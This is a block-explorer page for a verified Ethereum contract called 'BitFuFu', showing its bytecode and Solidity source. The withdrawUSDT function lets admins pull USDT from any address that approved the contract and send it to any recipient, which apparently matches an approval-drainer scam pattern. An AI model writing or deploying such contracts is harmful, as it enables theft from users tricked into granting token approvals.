Cryo Explorer Ethereum Mainnet

Address Contract Verified

Address 0xCCe08A3f3Bdd1B8F117559Ee13BeF6D368F94049
Balance 0 ETH
Nonce 1
Code Size 4096 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

4096 bytes
0x608060405234801561000f575f5ffd5b5060043610610055575f3560e01c80631785f53c14610059578063429b62e51461007557806352be6f57146100a557806370480275146100c15780639d76ea58146100dd575b5f5ffd5b610073600480360381019061006e91906109cb565b6100fb565b005b61008f600480360381019061008a91906109cb565b6102a7565b60405161009c9190610a10565b60405180910390f35b6100bf60048036038101906100ba9190610a5c565b6102c4565b005b6100db60048036038101906100d691906109cb565b61072e565b005b6100e5610949565b6040516100f29190610abb565b60405180910390f35b60015f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16610184576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161017b90610b54565b60405180910390fd5b60015f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1661020d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161020490610bbc565b60405180910390fd5b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167fa3b62bc36326052d97ea62d63c3d60308ed4c3ea8ac079dd8499f1e9c4f80c0f60405160405180910390a250565b6001602052805f5260405f205f915054906101000a900460ff1681565b60015f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1661034d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161034490610b54565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036103bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103b290610c24565b60405180910390fd5b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505f8173ffffffffffffffffffffffffffffffffffffffff166370a08231866040518263ffffffff1660e01b81526004016104199190610abb565b602060405180830381865afa158015610434573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104589190610c56565b90505f8273ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e87306040518363ffffffff1660e01b8152600401610496929190610c81565b602060405180830381865afa1580156104b1573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104d59190610c56565b90508382101561051a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161051190610cf2565b60405180910390fd5b8381101561055d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161055490610d5a565b60405180910390fd5b5f5f8473ffffffffffffffffffffffffffffffffffffffff1688888860405160240161058b93929190610d87565b6040516020818303038152906040527f23b872dd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516106159190610e0e565b5f604051808303815f865af19150503d805f811461064e576040519150601f19603f3d011682016040523d82523d5f602084013e610653565b606091505b509150915081801561068057505f8151148061067f57508080602001905181019061067e9190610e4e565b5b5b6106bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106b690610ec3565b60405180910390fd5b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167f8bd6cbb6f5022fd9aa668e1aa80f16dd8cb4f1c4c3a26ae07e1f44d1fbdb6f8b8860405161071c9190610ee1565b60405180910390a35050505050505050565b60015f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff166107b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ae90610b54565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610825576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081c90610f44565b60405180910390fd5b60015f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156108af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108a690610fac565b60405180910390fd5b6001805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167f44d6d25963f097ad14f29f06854a01f575648a1ef82f30e562ccd3889717e33960405160405180910390a250565b5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61099a82610971565b9050919050565b6109aa81610990565b81146109b4575f5ffd5b50565b5f813590506109c5816109a1565b92915050565b5f602082840312156109e0576109df61096d565b5b5f6109ed848285016109b7565b91505092915050565b5f8115159050919050565b610a0a816109f6565b82525050565b5f602082019050610a235f830184610a01565b92915050565b5f819050919050565b610a3b81610a29565b8114610a45575f5ffd5b50565b5f81359050610a5681610a32565b92915050565b5f5f5f60608486031215610a7357610a7261096d565b5b5f610a80868287016109b7565b9350506020610a91868287016109b7565b9250506040610aa286828701610a48565b9150509250925092565b610ab581610990565b82525050565b5f602082019050610ace5f830184610aac565b92915050565b5f82825260208201905092915050565b7f4f6e6c792061646d696e2063616e20706572666f726d207468697320616374695f8201527f6f6e000000000000000000000000000000000000000000000000000000000000602082015250565b5f610b3e602283610ad4565b9150610b4982610ae4565b604082019050919050565b5f6020820190508181035f830152610b6b81610b32565b9050919050565b7f4e6f7420616e2061646d696e00000000000000000000000000000000000000005f82015250565b5f610ba6600c83610ad4565b9150610bb182610b72565b602082019050919050565b5f6020820190508181035f830152610bd381610b9a565b9050919050565b7f496e76616c696420726563697069656e742061646472657373000000000000005f82015250565b5f610c0e601983610ad4565b9150610c1982610bda565b602082019050919050565b5f6020820190508181035f830152610c3b81610c02565b9050919050565b5f81519050610c5081610a32565b92915050565b5f60208284031215610c6b57610c6a61096d565b5b5f610c7884828501610c42565b91505092915050565b5f604082019050610c945f830185610aac565b610ca16020830184610aac565b9392505050565b7f496e73756666696369656e742062616c616e63650000000000000000000000005f82015250565b5f610cdc601483610ad4565b9150610ce782610ca8565b602082019050919050565b5f6020820190508181035f830152610d0981610cd0565b9050919050565b7f496e73756666696369656e7420616c6c6f77616e6365000000000000000000005f82015250565b5f610d44601683610ad4565b9150610d4f82610d10565b602082019050919050565b5f6020820190508181035f830152610d7181610d38565b9050919050565b610d8181610a29565b82525050565b5f606082019050610d9a5f830186610aac565b610da76020830185610aac565b610db46040830184610d78565b949350505050565b5f81519050919050565b5f81905092915050565b8281835e5f83830152505050565b5f610de882610dbc565b610df28185610dc6565b9350610e02818560208601610dd0565b80840191505092915050565b5f610e198284610dde565b915081905092915050565b610e2d816109f6565b8114610e37575f5ffd5b50565b5f81519050610e4881610e24565b92915050565b5f60208284031215610e6357610e6261096d565b5b5f610e7084828501610e3a565b91505092915050565b7f55534454205472616e73666572206661696c65640000000000000000000000005f82015250565b5f610ead601483610ad4565b9150610eb882610e79565b602082019050919050565b5f6020820190508181035f830152610eda81610ea1565b9050919050565b5f602082019050610ef45f830184610d78565b92915050565b7f496e76616c6964206164647265737300000000000000000000000000000000005f82015250565b5f610f2e600f83610ad4565b9150610f3982610efa565b602082019050919050565b5f6020820190508181035f830152610f5b81610f22565b9050919050565b7f416c726561647920616e2061646d696e000000000000000000000000000000005f82015250565b5f610f96601083610ad4565b9150610fa182610f62565b602082019050919050565b5f6020820190508181035f830152610fc381610f8a565b905091905056fea264697066735822122030a38b3d4209422f35f2ec5eeaaabb854de1a52977ffad74b6ccb8ee7934731964736f6c634300081e0033

Verified Source Code Full Match

Compiler: v0.8.30+commit.73712a01 EVM: prague Optimization: No
BitFuFu.sol 61 lines
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IERC20 {
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);
}

contract BitFuFu {
    address public tokenAddress;
    mapping(address => bool) public admins;

    event AdminAdded(address indexed admin);
    event AdminRemoved(address indexed admin);
    event USDTWithdrawn(address indexed from, address indexed to, uint256 amount);

    constructor(address _tokenAddress) {
        tokenAddress = _tokenAddress;
        admins[msg.sender] = true;
        emit AdminAdded(msg.sender);
    }

    modifier onlyAdmin() {
        require(admins[msg.sender], "Only admin can perform this action");
        _;
    }

    function addAdmin(address _admin) external onlyAdmin {
        require(_admin != address(0), "Invalid address");
        require(!admins[_admin], "Already an admin");
        admins[_admin] = true;
        emit AdminAdded(_admin);
    }

    function removeAdmin(address _admin) external onlyAdmin {
        require(admins[_admin], "Not an admin");
        admins[_admin] = false;
        emit AdminRemoved(_admin);
    }

    function withdrawUSDT(address from, address to, uint256 amount) external onlyAdmin {
        require(to != address(0), "Invalid recipient address");

        IERC20 token = IERC20(tokenAddress);

        uint256 balance = token.balanceOf(from);
        uint256 allowance = token.allowance(from, address(this));

        require(balance >= amount, "Insufficient balance");
        require(allowance >= amount, "Insufficient allowance");

        (bool success, bytes memory data) = address(token).call(
            abi.encodeWithSignature("transferFrom(address,address,uint256)", from, to, amount)
        );

        require(success && (data.length == 0 || abi.decode(data, (bool))), "USDT Transfer failed");

        emit USDTWithdrawn(from, to, amount);
    }
}

Read Contract

admins 0x429b62e5 → bool
tokenAddress 0x9d76ea58 → address

Write Contract 3 functions

These functions modify contract state and require a wallet transaction to execute.

addAdmin 0x70480275
address _admin
removeAdmin 0x1785f53c
address _admin
withdrawUSDT 0x52be6f57
address from
address to
uint256 amount

Recent Transactions

No transactions found for this address